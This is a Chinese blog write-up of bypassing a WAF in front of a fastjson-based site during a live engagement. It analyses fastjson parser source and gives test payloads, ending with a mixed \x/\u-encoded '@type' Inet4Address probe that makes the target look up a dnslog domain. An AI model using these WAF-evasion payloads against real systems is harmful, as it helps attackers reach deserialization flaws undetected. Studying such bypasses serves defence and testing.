记一次实战中对fastjson waf的绕过
最近遇到一个fastjson的站,很明显是有fastjson漏洞的,因为@type这种字符,fastjson特征很明显的字符都被过滤了
于是开始了绕过之旅,顺便来学习一下如何waf
编码绕过
去网上搜索还是有绕过waf的文章,下面来分析一手,当时第一反应就是unicode编码去绕过
首先简单的测试一下
parseObject:221, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1318, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1284, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:143, JSON (com.alibaba.fastjson)
main:8, Test
到如下代码
if (ch == '"') {
key = lexer.scanSymbol(this.symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
}
进入scanSymbol方法
方法就是对我们的key进行处理
switch (chLocal) {
case '"':
hash = 31 * hash + 34;
this.putChar('"');
break;
case '#':
case '$':
case '%':
case '&':
case '(':
case ')':
case '*':
case '+':
case ',':
case '-':
case '.':
case '8':
case '9':
case ':':
case ';':
case '<':
case '=':
case '>':
case '?':
case '@':
case 'A':
case 'B':
case 'C':
case 'D':
case 'E':
case 'G':
case 'H':
case 'I':
case 'J':
case 'K':
case 'L':
case 'M':
case 'N':
case 'O':
case 'P':
case 'Q':
case 'R':
case 'S':
case 'T':
case 'U':
case 'V':
case 'W':
case 'X':
case 'Y':
case 'Z':
case '[':
case ']':
case '^':
case '_':
case '`':
case 'a':
case 'c':
case 'd':
case 'e':
case 'g':
case 'h':
case 'i':
case 'j':
case 'k':
case 'l':
case 'm':
case 'o':
case 'p':
case 'q':
case 's':
case 'w':
default:
this.ch = chLocal;
throw new JSONException("unclosed.str.lit");
case '\'':
hash = 31 * hash + 39;
this.putChar('\'');
break;
case '/':
hash = 31 * hash + 47;
this.putChar('/');
break;
case '0':
hash = 31 * hash + chLocal;
this.putChar('\u0000');
break;
case '1':
hash = 31 * hash + chLocal;
this.putChar('\u0001');
break;
case '2':
hash = 31 * hash + chLocal;
this.putChar('\u0002');
break;
case '3':
hash = 31 * hash + chLocal;
this.putChar('\u0003');
break;
case '4':
hash = 31 * hash + chLocal;
this.putChar('\u0004');
break;
case '5':
hash = 31 * hash + chLocal;
this.putChar('\u0005');
break;
case '6':
hash = 31 * hash + chLocal;
this.putChar('\u0006');
break;
case '7':
hash = 31 * hash + chLocal;
this.putChar('\u0007');
break;
case 'F':
case 'f':
hash = 31 * hash + 12;
this.putChar('\f');
break;
case '\\':
hash = 31 * hash + 92;
this.putChar('\\');
break;
case 'b':
hash = 31 * hash + 8;
this.putChar('\b');
break;
case 'n':
hash = 31 * hash + 10;
this.putChar('\n');
break;
case 'r':
hash = 31 * hash + 13;
this.putChar('\r');
break;
case 't':
hash = 31 * hash + 9;
this.putChar('\t');
break;
case 'u':
char c1 = this.next();
char c2 = this.next();
char c3 = this.next();
char c4 = this.next();
int val = Integer.parseInt(new String(new char[]{c1, c2, c3, c4}), 16);
hash = 31 * hash + val;
this.putChar((char)val);
break;
case 'v':
hash = 31 * hash + 11;
this.putChar('\u000b');
break;
case 'x':
char x1 = this.ch = this.next();
x2 = this.ch = this.next();
int x_val = digits[x1] * 16 + digits[x2];
char x_char = (char)x_val;
hash = 31 * hash + x_char;
this.putChar(x_char);
}
可以看到有不同的处理,对应的支持unicode和16进制编码
先去试一试
探测一手
"{\"a\":{\"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"java.net.Inet4Address\",\"val\":\"cd4d1c41.log.dnslog.sbs.\"}}"
可惜还是被拦截了
尝试了16进制结果还是一样的
特殊反序列化绕过
因为json任然会反序列化我们的对象,那就必然涉及到反序列化字段,构造对象的过程
解析我们的字段的逻辑是在parseField方法
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
Map<String, Object> fieldValues, int[] setFlags) {
JSONLexer lexer = parser.lexer; // xxx
final int disableFieldSmartMatchMask = Feature.DisableFieldSmartMatch.mask;
FieldDeserializer fieldDeserializer;
if (lexer.isEnabled(disableFieldSmartMatchMask) || (this.beanInfo.parserFeatures & disableFieldSmartMatchMask) != 0) {
fieldDeserializer = getFieldDeserializer(key);
} else {
fieldDeserializer = smartMatch(key, setFlags);
}
绕过逻辑是在smartMatch方法
方法如下
public FieldDeserializer smartMatch(String key, int[] setFlags) {
if (key == null) {
return null;
}
FieldDeserializer fieldDeserializer = getFieldDeserializer(key, setFlags);
if (fieldDeserializer == null) {
long smartKeyHash = TypeUtils.fnv1a_64_lower(key);
if (this.smartMatchHashArray == null) {
long[] hashArray = new long[sortedFieldDeserializers.length];
for (int i = 0; i < sortedFieldDeserializers.length; i++) {
hashArray[i] = TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name);
}
Arrays.sort(hashArray);
this.smartMatchHashArray = hashArray;
}
// smartMatchHashArrayMapping
int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
if (pos < 0 && key.startsWith("is")) {
smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));
pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
}
if (pos >= 0) {
if (smartMatchHashArrayMapping == null) {
short[] mapping = new short[smartMatchHashArray.length];
Arrays.fill(mapping, (short) -1);
for (int i = 0; i < sortedFieldDeserializers.length; i++) {
int p = Arrays.binarySearch(smartMatchHashArray
, TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name));
if (p >= 0) {
mapping[p] = (short) i;
}
}
smartMatchHashArrayMapping = mapping;
}
int deserIndex = smartMatchHashArrayMapping[pos];
if (deserIndex != -1) {
if (!isSetFlag(deserIndex, setFlags)) {
fieldDeserializer = sortedFieldDeserializers[deserIndex];
}
}
}
if (fieldDeserializer != null) {
FieldInfo fieldInfo = fieldDeserializer.fieldInfo;
if ((fieldInfo.parserFeatures & Feature.DisableFieldSmartMatch.mask) != 0) {
return null;
}
}
}
return fieldDeserializer;
}
对key处理的逻辑如下
long smartKeyHash = TypeUtils.fnv1a_64_lower(key);
public static long fnv1a_64_lower(String key) {
long hashCode = 0xcbf29ce484222325L;
for (int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
if (ch == '_' || ch == '-') {
continue;
}
if (ch >= 'A' && ch <= 'Z') {
ch = (char) (ch + 32);
}
hashCode ^= ch;
hashCode *= 0x100000001b3L;
}
return hashCode;
}
可以看到使用_和-的方法已经没有作用了
不过有个好消息是
int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
if (pos < 0 && key.startsWith("is")) {
smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));
pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
}
可以看到对is进行了一个截取,那我们添加一个is
可惜测试了还是不可以
加特殊字符绕过
这个的具体处理逻辑是在skipComment的方法
而处理逻辑是在
public final void skipWhitespace() {
for (;;) {
if (ch <= '/') {
if (ch == ' ' || ch == '\r' || ch == '\n' || ch == '\t' || ch == '\f' || ch == '\b') {
next();
continue;
} else if (ch == '/') {
skipComment();
continue;
} else {
break;
}
} else {
break;
}
}
}
匹配到这些特殊字符就忽略
测试一下
import com.alibaba.fastjson.JSON;
public class Test {
public static void main(String[] args) {
String aaa = "{\"@type\"\r:\"java.net.Inet4Address\",\"val\":\"48786d0c.log.dnslog.sbs.\"}";
JSON.parse(aaa);
}
}
确实可以,但是环境上去尝试任然被waf了
双重编码
最后是使用双重编码绕过的,因为编码的逻辑是失败到对应的字符就去编码
单独的unicode和16进制都不可以
尝试一下同时呢?
去对@type编码
POC
{\"\\x40\\u0074\\u0079\\u0070\\u0065\"\r:\"java.net.Inet4Address\",\"val\":\"48786d0c.log.dnslog.sbs.\"}
最后也是成功了
猜测后端逻辑是把代码分别拿去了unicode和16进制解码,但是直接单独解码会乱码的,而fastjson的逻辑是一个字符一个字符解码